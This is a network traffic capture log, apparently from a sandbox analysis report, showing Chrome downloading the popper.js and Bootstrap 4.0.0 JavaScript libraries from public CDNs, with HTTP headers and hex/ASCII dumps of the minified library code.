2024-11-20 14:43:17 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:17 UTC	967	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1095505 Expires: Mon, 10 Nov 2025 14:43:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gIa6Q3Qex00XFbQuWsuHCvAnz2Cpu%2BR5ZQm%2FY5HQLAjcM%2FiD%2Bw7XtJr1SUp0oVHNzwhVb3%2BtNyiPm8zR3w323YLvRjVWTXbENUjs5TGMxT0YmvaQNYr8LoKQd3FoQzW2Cy%2Bh%2B3lN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8e5936233c008ce6-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:17 UTC	402	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 Data Ascii: {if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#d
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 Data Ascii: l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d Data Ascii: h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 Data Ascii: ght,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 Data Ascii: &console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c Data Ascii: rs(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b Data Ascii: ame;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 Data Ascii: ,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}f
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 Data Ascii: ,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49765	104.18.11.207	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:17 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:17 UTC	967	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 09/24/2024 09:00:40 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: ca49da3fb29e07efbacf1b18db3e7dc9 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1051525 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8e5936241f3142b5-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:17 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
